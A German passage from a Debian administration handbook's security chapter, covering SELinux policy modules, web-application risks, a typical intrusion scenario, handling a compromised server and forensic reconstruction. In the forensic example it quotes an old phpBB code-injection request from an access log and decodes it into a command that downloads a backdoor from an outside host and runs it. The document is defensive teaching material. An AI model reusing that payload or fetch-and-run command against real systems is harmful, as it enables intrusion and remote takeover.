Es ist möglich unter Beachtung dieses Protokolleintrags eine Regel zu erstellen, die diesen Vorgang erlauben würde. Zum Beispiel: allow syslogd_t device_t:fifo_file { read write }. Dieser Prozess kann automatisiert werden, und genau dies bietet der Befehl audit2allow (aus dem Paket policycoreutils). Diese Herangehensweise ist nur sinnvoll, wenn die verschiedenen Objekte bereits richtig in Übereinstimmung mit den erforderlichen Einschränkungen gekennzeichnet sind. In jedem Fall müssen Sie die erzeugten Regeln sorgfältig überprüfen und sie auf der Grundlage ihrer Kenntnis der Anwendung bewerten. Faktisch tendiert diese Herangehensweise dazu, mehr Berechtigungen zu erteilen als tatsächlich erforderlich sind. Die richtige Lösung besteht häufig darin, neue Typen zu erstellen und dann nur diesen Typen Berechtigungen zu gewähren. Es kommt auch vor, dass ein verweigerter Vorgang für die Anwendung nicht schlimm ist, in welchem Falle es besser sein kann, einfach eine "dontaudit"-Regel hinzuzufügen, um einen Protokolleintrag trotz der tatsächlichen Verweigerung zu vermeiden.


ERGÄNZUNGEN Keine Rollen in den Richtlinien


Es mag seltsam erscheinen, dass bei der Erstellung neuer Regeln Rollen überhaupt nicht auftreten. SELinux verwendet nur die Domains um herauszufinden, welche Vorgänge erlaubt sind. Die Rolle kommt nur indirekt zum Tragen, indem sie es dem Benutzer erlaubt, zu einer anderen Domain zu wechseln. SELinux basiert auf einer Theorie, die Type Enforcement heißt, und der Typ ist das einzige Element, das bei der Gewährung von Berechtigungen zählt. Type Enforcement Enforcement, Type Enforcement


Die Dateien kompilieren


Sobald die drei Dateien (example.if, example.fc und example.te) Ihren Erwartungen an die neuen Regeln entsprechen, führen Sie einfach make aus, um in der Datei example.pp ein Modul zu erstellen (Sie können es sofort mit semodule -i example.pp laden). Falls mehrere Module festgelegt wurden, wird make alle entsprechenden .pp-Dateien erstellen.


Weitere sicherheitsbezogene Überlegungen


Sicherheit ist nicht nur ein technisches Problem: mehr alles andere geht es dabei auch um bewährte Verfahrensweisen und um das Verständnis der Risiken. Dieser Abschnitt bespricht einige der geläufigen Risiken, sowie auch einige optimale Verfahrensweisen, die je nach Sachlage entweder die Sicherheit erhöhen oder die Auswirkung eines erfolgreichen Angriffs verringern sollten.


Inhärente Risiken von Web-Anwendungen


Der universelle Charakter von Web-Anwendungen hat zu ihrer weiten Verbreitung geführt. Häufig laufen meherere gleichzeitig: eine Web-Mail, ein Wiki, irgendein Gruppenarbeitssystem, Foren, eine Bildergalerie, ein Blog und so weiter. Viele dieser Anwendungen stützen sich auf den "LAMP"-Stack (Linux, Apache, MySQL, PHP). Leider wurden viele dieser Anwendungen auch ohne große Rücksicht auf Sicherheitsprobleme geschrieben. Von außen kommende Daten werden allzu häufig nach nur geringer ober gar keiner Überprüfung benutzt. Indem speziell hierfür ausgelegte Werte geliefert werden, kann der Aufruf eines Befehls unterlaufen werden, so dass stattdessen ein anderer ausgeführt wird. Viele dieser offensichtlichen Probleme sind im Laufe der Zeit behoben worden, jedoch treten regelmäßig neue Sicherheitsprobleme auf.


WÖRTERVERZEICHNIS SQL-Einschleusung


Wenn ein Programm Daten auf unsichere Weise in SQL-Anfragen einfügt, wird es anfällig für SQL-Einschleusungen; dieser Begriff bezieht sich auf den Austausch eines Parameters in einer Weise, dass die tatsächlich vom Programm ausgeführte Anfrage sich von der beabsichtigten unterscheidet, entweder um die Datenbank zu beschädigen oder um auf Daten zuzugreifen, die normalerweise nicht zugänglich sein sollten.


SQL-Einschleusung


Das regelmäßige Aktualisieren von Web-Anwendungen ist daher ein Muss, damit ein Cracker (ob ein professioneller Angreifer oder ein Skriptkiddie) eine bekannte Sicherheitslücke nicht ausnutzen kann. Das tatsächliche Risiko hängt vom Einzelfall ab und reicht von der Datenvernichtung bis zur Ausführung beliebigen Codes, einschließlich der Verunstaltung von Websites.


Wissen, was zu erwarten ist


Eine Sicherheitslücke in einer Web-Anwendung wird häufig als Ausgangspunkt für einen Einbruchsversuch benutzt. Im Folgenden werden die möglichen Konsequenzen kurz dargestellt.


KURZER BLICK HTTP-Anfragen filtern


Apache 2 enthält Module, die das Filtern ankommender HTTP-Anfragen ermöglichen. Hierdurch können einige Angriffsvektoren gestoppt werden. Zum Beispiel können Pufferüberläufe durch die Begrenzung der Parameterlänge verhindert werden. Allgemeiner ausgedrückt, kann man Parameter überprüfen, schon bevor sie an die Web-Anwendung weitergeleitet werden, und den Zugang aufgrund zahlreicher Kriterien einschränken. Dies kann sogar mit dynamischen Firewall-Aktualisierungen kombiniert werden, so dass ein Client, der eine der Regeln verletzt, für eine bestimmte Zeit vom Zugang zum Web-Server ausgeschlossen wird.


Das Einrichten dieser Überprüfungen kann eine lange und mühsame Aufgabe sein, sie kann sich aber auszahlen, wenn die Web-Anwendung, die eingesetzt werden soll, in Sicherheitsfragen eine zweifelhafte Erfolgsbilanz hat.


mod-security (im Paket libapache-mod-security) ist das wichtigste derartige Modul.


libapache-mod-security


mod-security


Die Folgen eines Einbruchs haben unterschiedliche Deutlichkeitsebenen in Abhängigkeit von den Motiven des Angreifers. Skriptkiddies wenden lediglich Rezepte an, die sie auf Websites finden; meistens verunstalten sie eine Webseite oder löschen Daten. In subtileren Fällen fügen sie den Webseiten unsichtbare Inhalte hinzu, um so in Suchmaschinen die Verweise auf ihre eigenen Seiten zu verbessern.


Ein fortgeschrittenerer Angreifer wird hierüber hinausgehen. Ein Katastrophenszenarium könnte folgendermaßen ablaufen: Der Angreifer erlangt die Fähigkeit, als Benutzer www-data Befehle auszuführen. Jedoch erfordert die Ausführung eines Befehls zahlreiche Manipulationen. Um sich sein Leben leichter zu machen, installiert er andere Web-Anwendungen, die speziell dafür eingerichtet sind, aus der Ferne zahlreiche Befehlsarten auszuführen, wie das Durchsuchen des Dateisystems, das Begutachten von Berechtigungen, das Hoch- oder Herunterladen von Dateien, die Ausführung von Befehlen und sogar das Bereitstellen einer Netzwerkkonsole. Häufig ermöglicht es eine Sicherheitslücke, einen wget-Befehl auszuführen, mit dem Schadsoftware in das Verzeichnis /tmp/ heruntergeladen wird, um sie dann auszuführen. Die Schadsoftware wird häufig von einer fremden Website heruntergeladen, die zuvor kompromittiert wurde, um so Spuren zu verwischen und es schwieriger zu machen, der Fährte zum tatsächlich Ursprung des Angriffs zu folgen.


An diesem Punkt verfügt der Angreifer über ausreichende Bewegungsfreiheit, um einen IRC-bot zu installieren (einen Roboter, der sich mit einem IRC-Server verbindet und über diesen Kanal gesteuert werden kann). Dieser Bot wird häufig dazu verwendet, illegale Dateien zu tauschen (nicht authorisierte Kopien von Filmen oder Software und so weiter). Ein entschlossener Angreifer könnte sogar noch weitergehen wollen. Das Konto www-data erlaubt keinen vollständigen Zugang zum Rechner, und der Angreifer wird versuchen, Administratorrechte zu erlangen. Nun sollte dies nicht möglich sein, aber wenn die Web-Anwendung nicht aktuell war, besteht das Risiko, dass der Kernel und weitere Programme ebenfalls veraltet sind; dies ergibt sich manchmal aus einer Entscheidung des Administrators, der, obwohl er die Sicherheitslücke kennt, es versäumt hat, das System zu aktualisieren, da es keine lokalen Benutzer gibt. Der Angreifer kann dann diese zweite Sicherheitslücke ausnutzen, um Root-Zugang zu erlangen.


WÖRTERVERZEICHNIS Privilege Escalation


Dieser Begriff umfasst alles, was dazu verwendet werden kann, höhere Berechtigungen zu erlangen, als ein bestimmter Benutzer normalerweise haben sollte. Das sudo-Programm dient genau dem Zweck, einigen Benutzern administrative Rechte zu geben. Derselbe Begriff wird aber auch verwendet, um die Tat eines Angreifers zu beschreiben, der eine Sicherheitslücke ausnutzt, um unangemessene Rechte zu erlangen.


Jetzt ist der Angreifer im Besitz des Rechners; er wird gewöhnlich versuchen, diesen privilegierten Zugang möglichst lange zu erhalten. Hierzu ist die Installation eines Rootkits erforderlich, eines Programms, dass einige Komponenten des Systems ersetzt, so dass der Angreifer in der Lage ist, zu einem späteren Zeitpunkt erneut die Privilegien des Administrators zu erlangen; das Rootkit versucht außerdem, sein Vorhandensein zu verbergen, wie auch alle Spuren des Einbruchs. Ein unterwandertes ps-Programm wird dann einige Prozesse nicht auflisten, netstat wird einige der aktiven Verbindungen nicht aufführen und so weiter. Durch Verwendung der Root-Berechtigungen war der Angreifer in der Lage das ganze System zu beobachten, hat aber keine wichtigen Daten gefunden; daher wird er versuchen, auf andere Rechner des Firmennetzwerks zuzugreifen. Durch die Analyse des Administratorkontos und der Verlaufsdateien findet der Angreifer heraus, auf welche Rechner üblicherweise zugegriffen wird. Indem der Angreifer sudo oder ssh durch ein verfälschtes Programm ersetzt, kann er einige Passwörter des Administrators abfangen, die er bei den entdeckten Servern anwenden wird... und der Einbruch kann sich von hieraus weiterverbreiten.


Dies ist ein Albtraumszenario, das durch eine Reihe von Maßnahmen verhindert werden kann. Die nächsten Abschnitte beschreiben einige von ihnen.


Die Software weise wählen


Sobald die möglichen Sicherheitsprobleme bekannt sind, muss ihnen bei jedem Schritt des Bereitstellungsprozesses eines Dienstes Rechnung getragen werden, insbesondere bei der Auswahl der zu installierenden Software. Viele Websites, wie zum Beispiel SecurityFocus.com, unterhalten eine Liste kürzlich entdeckter Sicherheitslücken, die ein Bild von einer Sicherheitsbilanz vermitteln können, bevor eine bestimmte Software eingesetzt wird. Natürlich muss diese Information der Popularität der besagten Software gegenübergestellt werden: ein weiter verbreitetes Programm ist ein verlockenderes Ziel und wird folglich eingehender erforscht. Andererseits kann ein Nischenprogramm voller Sicherheitslücken sein, die aufgrund mangelnden Interesses an einem Sicherheitsaudit niemals veröffentlicht werden.


WÖRTERVERZEICHNIS Sicherheitsaudit


Ein Sicherheitsaudit ist der Prozess, bei dem der Quellcode einer Software gründlich gelesen und analysiert wird, wobei nach möglichen Sicherheitslücken Ausschau gehalten wird, die er enthalten könnte. Derartige Audits sind gewöhnlich proaktiv und werden durchgeführt, um zu gewährleisten, dass ein Programm gewisse Sicherheitserfordernisse erfüllt.


In der Welt der freien Software besteht im allgemeinen große Wahlfreiheit, und eine Software einer anderen vorzuziehen, sollte eine Entscheidung sein, die auf örtlich gültigen Kriterien beruht. Eine höhere Anzahl von Leistungsmerkmalen bringt auch ein erhöhtes Risiko einer Sicherheitslücke mit sich, die im Code verborgen sein könnte; es kann auch kontraproduktiv sein, das höchst entwickelte Programm zu wählen, und ein besserer Ansatz besteht gewöhnlich darin, das einfachste Programm, das die Erfordernisse erfüllt, auszuwählen.


WÖRTERVERZEICHNIS Zero-Day-Exploit


Eine Zero-Day-Attacke ist kaum zu verhindern; der Begriff beschreibt eine Sicherheitslücke, die den Autoren des Programms noch nicht bekannt ist.


Einen Rechner als Ganzes verwalten


Die meisten Linux-Distributionen installieren standardmäßig eine Reihe von Unix-Diensten und zahlreiche Hilfsprogramme. In vielen Fällen werden diese Dienste und Programme für den eigentlichen Zweck, zu dem der Administrator den Rechner eingerichtet hat, nicht benötigt. Als allgemeine Richtlinie für Sicherheitsfragen gilt, dass nicht benötigte Software möglichst deinstalliert werden sollte. In der Tat macht es keinen Sinn, einen FTP-Server abzusichern, wenn in einem anderen, nicht benutzten Dienst eine Sicherheitslücke dazu ausgenutzt werden kann, Administratorrechte für den ganzen Rechner zu erlangen.


Aus mehreren Gründen werden Firewalls häufig so konfiguriert, dass sie Zugang nur zu solchen Diensten ermöglichen, die öffentlich zugänglich sein sollen.


Aktuelle Computer sind mächtig genug um mehrere Dienste auf der selben physikalischen Maschine zu hosten. Aus ökonomischer Sicht ist das interessant: nur ein Computer zu administrieren, weniger Energieverbrauch und so weiter. Aus Sicherheitsgesichtspunkten ist diese Sichtweise jedoch problematisch. Ein kompromittierter Service kann genügen um Zugang zur ganzen Maschine zu erlangen, was wiederum die anderen Services auf diesem Computer gefährdet. Das Risiko kann verringert werden, wenn man die Services gegeneinander abschottet. Das kann durch Virtualisierung erreicht werden (jeder Service wird in einer eigenen virtuellen Maschine betrieben) oder mittels SELinux (jeder Service-Dämon hat ein passendes Set an Berechtigungen).


Benutzer sind Spieler


Spricht man über Security, so denkt man automatisch auch an den Schutz vor Angriffen anonymer Cracker, die sich irgendwo im Internetdschungel verbergen; aber oft wird vergessen, dass Angriffe auch von Innentätern kommen können: ein ein Angestellter, der im Begriff ist, die Firma zu verlassen, könnte sensible Dateien aus wichtigen Projekten kopieren und an Wettbewerber verkaufen, ein unvorsichtiger Vertriebsmitabeiter könnte seinen Computerarbeitsplatz ohne Bildschirmsperre zurücklassen, während er sich mit einem neuen Interessenten trifft, ein ungeschickter Anwender könnte versehentlich einen falschen Ordner löschen und so weiter.


Als Antwort auf diese Herausforderungen gibt es teils technische Lösungen: nur die benötigten Berechtigungen sollten einem Anwender zugeteilt werden und regelmäßige Backups sind zwingend. Aber in ielen Fällen erfordert ein angemessener Schutz auch die Sensibilisierung und Ausbildung der Anwender.


QUICK LOOK autolog


Im Paket autolog ist ein Programm enthalten, welches automatisch inaktive Userprozesse nach einer konfigurierbaren Zeitspanne beendet. Es löscht auch Userprozesse, die nach Beenden einer Session noch vorhanden sind und verhindert damit auch, dass Anwender Dämonprozesse aufsetzen.


Physische Sicherheit


Es ist nicht zielführend, nur die Services und Netzwerke zu schützen, die Computer selbst jedoch nicht. Wichtige Daten verdienen es, auf im laufenden Betrieb austauschbaren Platten eines Raidsystems gespeichert zu werden, da Festplatten gelegentlich ausfallen und Verfügbarkeit von Daten ist essentiell. Aber wenn jeder Pizzalieferant Zugang zum Gebäude hat, sich neugierig in Serverräumen umsehen kann, dann ist eine wesentliche Forderung der Sicherheit nicht erfüllt. Wer kann Serverräume betreten? Wird der Zutritt überwacht? Diese Fragen müssen beachtet (und beantwortet) werden, wenn man die physische Sicherheit untersucht.


Bei der Analyse der physischen Sicherheit müssen auch die Gefährdungen durch die Umwelt, beispielsweise durch Feuer, betrachtet werden. Vor allem diese Gefahren rechtfertigen eine Auslagerung von Backupmedien in ein getrenntes Gebäude, zumindest aber in feuersichere Schränke.


Rechtliche Haftung


Einem Administrator vertrauen die Anwender mehr oder weniger unbesehen, genauso wie die User des Netzwerks. Deshalb sollte man jede Nachlässigkeit vermeiden, die von übelwollenden Menschen ausgenutzt werden könnte.


Ein Angreifer, der Kontrolle über Ihre Maschine erlangt um diese dann als Basis (auch als Relaysystem bezeichnet) für weitere ruchlose Aktivitäten zu nutzen, kann juristische Folgen haben, da der Geschädigte den Angriff als von Ihnen kommend interpretiert und folgerichtig Sie als Angreifer (oder als Komplizen) verdächtigt. In vielen Fällen wird der Angreifer Ihr System als Verteilzentrum für Spam mißbrauchen (was wenig direkten Schaden verursacht, wenn man vom Risiko absieht, auf einer Blacklist zu landen, was in Folge dazu führen kann, dass Sie keine Mails mehr versenden können), was nicht gerade erfreulich wäre. Es könnte aber auch größerer Schaden angerichtet werden, z.B. durch Denial of Service Attacken. Die können zu Umsatzeinbußen führen, weil der eigentliche Service nicht mehr verfügbar ist und Daten zerstört werden könnten; manchmal verursacht das auch direkte Kosten, weil die angegriffene Seite rechtliche Schritte gegen Sie unternehmen kann. Rechteinhaber können sie verklagen, wenn eine unautorisierte Kopie eines geschützten Werkes von Ihrem Server aus verfügbar gemacht wird, genauso wie von solchen Firmen, die aufgrund von Service Level Agreements (Serviceverträgen) zur Zahlung von Vertragsstrafen verpflichtet werden, wenn Serviceeinschränkungen auftreten in Folge des Angriffs von Ihrer Mschine.


Wenn das geschieht genügt es nicht, seine Unschuld zu beteuern; zumindest brauchen Sie überzeugende Beweise, die verdächtige Aktivitäten auf Ihrem Rechner zeigen können, die von einer auszumachenden IP-Adresse kommen. Das wird schwer sein, wenn Sie die Empfehlungen in diesem Kapitel in den Wind schlagen und dem Angreifer den Zugang zu einem privilegierten Account (speziell dem root Account) auf Ihrem System ermöglichen und er seine Spuren dadurch verwischen kann.


Umgang mit einer kompromittierten Maschine


Trotz aller guten Absichten und aller Sorgfalt bei der Erstellung der Sicherheitsregeln, wird ein Administrator einer feindlichen Übernahme gegenüberstehen. Dieser Abschnitt stellt einige Richtlinien darüber bereit, wie man im Falle dieser unglücklichen Umstände reagieren sollte.


Den Einbruch eines Crackers entdecken und sehen


Der erste Schritt einer Reaktion auf einen Einbruch ist, sich eines derartigen Akts bewusst zu sein. Dies ist nicht selbstverständlich, vor allem nicht ohne eine angemessene Überwachungsinfrastruktur.


Einbrüche bleiben häufig unentdeckt, bis sie direkte Folgen für die legitimen Dienste haben, die der Rechner beherbergt, wie zum Beispiel, dass Verbindungen langsamer werden, dass einige Benutzer sich nicht anschließen können, oder eine andere Fehlfunktion. Angesichts dieser Probleme muss sich der Administrator den Rechner genau ansehen und sorgfältig alles überprüfen, was nicht normal funktioniert. Zu diesem Zeitpunkt entdeckt er normalerweise einen ungewöhnlichen Prozess, zum Beispiel einen namens apache statt des standardmäßigen /usr/sbin/apache2. Wenn wir diesem Beispiel folgen, so sollte seine Prozesskennung notiert und /proc/pid/exe überprüft werden, um zu sehen, welches Programm diesen Prozess zur Zeit gerade ausführt:


# ls -al /proc/3719/exe lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc


Ein unter /var/tmp/ installiertes Programm, das als Webserver läuft? Kein Zweifel, der Rechner ist kompromittiert.


Dies ist nur ein Beispiel, aber zahlreiche andere Hinweise können den Administrator alarmieren:


eine Option eines Befehls, die nicht mehr funktioniert; die Version des Programms, in der der Befehl angeblich vorliegt, stimmt nicht mit der Version überein, die laut dpkg installiert sein sollte;


eine Eingabeaufforderung oder ein Begrüßungsbildschirm, die anzeigen, dass die vorherige Verbindung von einem unbekannten Server oder einem anderen Kontinent kam;


Fehler, die darauf zurückzuführen sind, dass die Partition /tmp/ voll ist, und wobei sich herausstellt, dass sie voller illegaler Filmkopien ist;


und so weiter.


Den Server vom Netz nehmen


Außer in sehr ungewöhnlichen Fällen erfolgt ein Einbruch über das Netzwerk, und der Angreifer benötigt ein funktionierendes Netzwerk, um seine Ziele zu erreichen (auf vertrauliche Daten zuzugreifen, illegale Dateien zu tauschen, seine Identität durch die Verwendung des Rechners als Zwischenstation zu verbergen und so weiter). Dadurch dass der Rechner vom Netz genommen wird, wird es dem Angreifer unmöglich gemacht, diese Ziele zu erreichen, falls ihm dies bisher noch nicht gelungen ist.


Möglicherweise ist dies nur machbar, wenn der Server physisch zugänglich ist. Falls sich der Server im Datencenter eines Hosting-Anbieters am anderen Ende des Landes befindet, oder falls der Server aus einem anderen Grund nicht zugänglich ist, ist es gewöhnlich ratsam, als erstes einige wichtige Informationen zu sammeln (siehe den folgenden Abschnitt), und dann den Server so weit wie möglich zu isolieren, indem möglichst viele Dienste abgeschaltet werden (normalerweise alles außer sshd). Diese Situation ist dennoch weiterhin gefährlich, da nicht ausgeschlossen werden kann, dass der Angreifer in gleicher Weise wie der Administrator SSH-Zugriff hat; dies macht es schwieriger, den Rechner zu "reinigen".


Alles aufbewahren, was als Beweis dienen könnte


Um den Angriff zu verstehen oder um rechtliche Schritte gegen die Angreifer einzuleiten, ist es erforderlich, Kopien aller wichtigen Element zu erstellen; hierzu gehört der Inhalt der Festplatte, eine Liste aller laufenden Prozesse und eine Liste aller offenen Verbindungen. Der Inhalt des RAM könnte auch verwendet werden, er wird in der Praxis aber selten benutzt.


Im Eifer des Gefechts sind Administratoren häufig versucht, auf dem kompromittierten Rechner zahlreiche Überprüfungen durchzuführen; dies ist jedoch gewöhnlich keine gute Idee. Jeder Befehl kann unterwandert sein und daher Beweisstücke löschen. Die Überprüfungen sollten auf den minimalen Satz beschränkt werden (netstat -tupan für Netzwerkverbindungen, ps auxf für eine Liste der Prozesse, ls -alR /proc/[0-9]* für einige zusätzliche Informationen über laufende Programme), und jede durchgeführte Überprüfung sollte sorgfältig notiert werden.


VORSICHT Analyse unter Spannung


Obwohl es verlockend sein mag, das System zu analysieren, während es läuft, sollte dies unterlassen werden, vor allem, wenn der Server physisch nicht erreichbar ist: Sie können einfach den Programmen, die zur Zeit auf dem kompromittierten System installiert sind, nicht trauen. Es ist gut möglich, dass ein unterwanderter ps-Befehl einige Prozesse verbirgt, oder dass ein unterwanderter ls-Befehl Dateien verbirgt; manchmal ist sogar der Kernel kompromittiert!


Falls eine solche Analyse "unter Spannung" dennoch notwendig ist, sollte darauf geachtet werden, nur bekanntermaßen einwandfreie Programme zu benutzen. Eine gute Möglichkeit dies zu tun, besteht darin, eine Rettungs-CD mit unberührten Programmen zu verwenden oder eine schreibgeschützte Netzwerkfreigabe. Jedoch könnten selbst diese Gegenmaßnahmen nicht ausreichend sein, falls der Kernel selbst kompromittiert ist.


Sobald die "dynamischen" Elemente gespeichert sind, wird im nächsten Schritt ein vollständiges Abbild der Festplatte gespeichert. Die Erstellung eines derartigen Abbildes ist nicht möglich, solange sich das Dateisystem noch verändert. Deshalb muss es schreibgeschützt neu eingehängt werden. Die einfachste Lösung besteht häufig darin, den Server brutal anzuhalten (nachdem der Befehl sync ausgeführt wurde) und dann den Rechner mit einer Rettungs-CD neu zu starten. Jede Partition sollte mit einem Hilfsprogramm wie dd kopiert werden; diese Abbilder können zu einem anderen Server geschickt werden (vielleicht mit dem sehr praktischen Hilfsprogramm nc). Eine andere Möglichkeit ist eventuell noch einfacher: nehmen Sie einfach die Festplatte aus dem Rechner und ersetzen Sie sie durch eine neue, die neu formatiert und installiert werden kann.


Neu installieren


backdoor


Der Server sollte ohne eine vollständige Neuinstallation nicht wieder ans Netz gebracht werden. Falls die Kompromittierung schwerwiegend war (falls administrative Rechte erlangt worden sind), gibt es fast keinen anderen Weg, um sicher zu sein, dass wir von allem, was der Angreifer hinterlassen haben könnte (vor allem Backdoors), befreit sind. Selbstverständlich müssen auch die jüngsten Sicherheitsaktualisierungen angewendet werden, um so die Sicherheitslücke zu schließen, die vom Angreifer verwendet wurde. Idealerweise sollte die Analyse des Angriffs diesen Angriffsvektor aufzeigen, so dass man sicher sein kann, dass man ihn behoben hat; sonst kann man nur hoffen, dass die Sicherheitslücke eine von denen war, die durch die Aktualisierungen beseitigt worden sind.


Es ist nicht immer einfach, einen entfernten Server neu zu installieren; hierzu kann es erforderlich sein, Unterstützung vom Hosting-Unternehmen zu bekommen, da nicht alle derartigen Unternehmen automatische Reinstallationssysteme anbieten. Es sollte darauf geachtet werden, den Rechner nicht von Sicherheitskopien zu reinstallieren, die nach dem Beginn der Kompromittierung gezogen worden sind. Idealerweise sollten nur Daten wiederhergestellt werden, während die eigentliche Software von den Installationsmedien neu installiert wird.


Forensische Analyse


Nun, da der Betrieb wiederhergestellt ist, ist es an der Zeit, sich die Abbilder des kompromittierten Systems genauer anzusehen, um den Angriffsvektor zu verstehen. Beim Einhängen dieser Abbilder sollte darauf geachtet werden, dass die Optionen ro,nodev,noexec,noatime verwendet werden, um zu vermeiden, dass der Inhalt verändert wird (einschließlich der Zeitstempel für den Zugriff auf Dateien) oder versehentlich kompromittierte Programme ausgeführt werden.


Ein Angriffsszenarium zurückzuverfolgen bedeutet gewöhnlich, nach allem Ausschau zu halten, das verändert und ausgeführt wurde:


.bash_history-Dateien stellen häufig eine sehr interessante Lektüre dar;


das Gleiche gilt für Dateien, die vor kurzem erstellt, verändert oder angesteuert wurden;


der Befehl strings hilft dabei, vom Angreifer installierte Programme zu identifizieren, indem er Textstrings aus einer Binärdatei extrahiert;


die Protokolldateien in /var/log/ ermöglichen es oft, eine Chronologie der Ereignisse zu rekonstruieren;


Spezialprogramme ermöglichen es auch, den Inhalt von Dateien wiederherzustellen, die möglicherweise gelöscht worden sind, einschließlich der Protokolldateien, die Angreifer häufig löschen.


Einige dieser Arbeitsgänge können durch spezialisierte Software erleichtert werden. So ist insbesondere The Coroner Toolkit (im Paket tct) eine Sammlung derartiger Werkzeuge. Es umfasst mehrere Hilfsprogramme; unter ihnen kann grave-robber Daten eines laufenden kompromittierten Systems sammeln, lazarus extrahiert häufig interessante Daten aus nicht zugewiesenen Bereichen einer Platte, und pcat kann den Speicher, der von einem Prozess verwendet wird, kopieren; weitere Datengewinnungsprogramme sind enthalten. The Coroner Toolkit


Das Paket sleuthkit stellt einige weitere Hilfsprogramme zur Analyse eines Dateisystems bereit. Ihre Benutzung wird durch die grafische Schnittstelle Autopsy Forensic Browser (im Paket autopsy) erleichtert. Autopsy Forensic Browser


Das Angriffsszenario wiederherstellen


Alle während der Analyse gesammelten Elemente sollten wie die Teile eines Puzzles zueinander passen; die Erstellung der ersten verdächtigen Dateien steht häufig mit Protokollen in Zusammenhang, die den Einbruch bekunden. Ein Beispiel aus dem Alltag sollte deutlicher sein, als langes theoretisches Gerede.


Das folgende Protokoll ist ein Auzug aus einer Apache access.log-Datei:


www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"


Dieses Beispiel entspricht einer alten Sicherheitslücke in phpBB.


Das Entschlüsseln dieser langen URL führt zu der Erkenntnis, dass es dem Angreifer gelungen ist, einigen PHP-Code auszuführen, nämlich: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). In der Tat wurde eine bd-Datei in /tmp/ gefunden. Wenn man strings /mnt/tmp/bd ausführt, ergibt sich unter anderem der String PsychoPhobia Backdoor is starting.... Dies sieht wirklich nach einer Backdoor aus.


Einige Zeit später wurde dieser Zugang dazu benutzt, einen IRC-Bot herunterzuladen, zu installieren und auszuführen, der sich mit einem IRC-Untergrundnetzwerk verbunden hat. Der Bot konnte dann über dieses Protokoll gesteuert werden und angewiesen werden, Dateien zum Tausch herunterzuladen. Dieses Programm hat sogar seine eigene Programmdatei:


** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202) ** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT ** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024 ** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating ** 2004-11-29-19:50:20: DCC CHAT Correct password (...) ** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB) (...) ** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB) (...) ** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec) (...) ** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)


Diese Spuren zeigen, dass über die IP-Adresse 82.50.72.202 zwei Videodateien auf dem Server gespeichert wurden.


Gleichzeitig hat der Angreifer einige zusätzliche Dateien heruntergeladen: /tmp/pt und /tmp/loginx. Lässt man diese Dateien durch strings laufen, so ergeben sich Strings wie Shellcode placed at 0x%08lx und Now wait for suid shell.... Diese sehen wie Programme aus, die lokale Schwachstellen ausnutzen, um Administratorrechte zu erlangen. Haben sie ihr Ziel erreicht? In diesem Fall vermutlich nicht, da anscheinend keine Datei nach dem ursprünglichen Einbruch verändert worden ist.


In diesem Beispiel wurde der gesamte Einbruch rekonstruiert, und es kann daraus geschlossen werden, dass der Angreifer in der Lage war, das kompromittierte System etwa drei Tage lang zu nutzen; aber das wichtigste Element der Analyse ist, dass die Schwachstelle identifiziert worden ist, und dass der Administrator sicher sein kann, dass die neue Installation diese Schwachstelle tatsächlich behebt.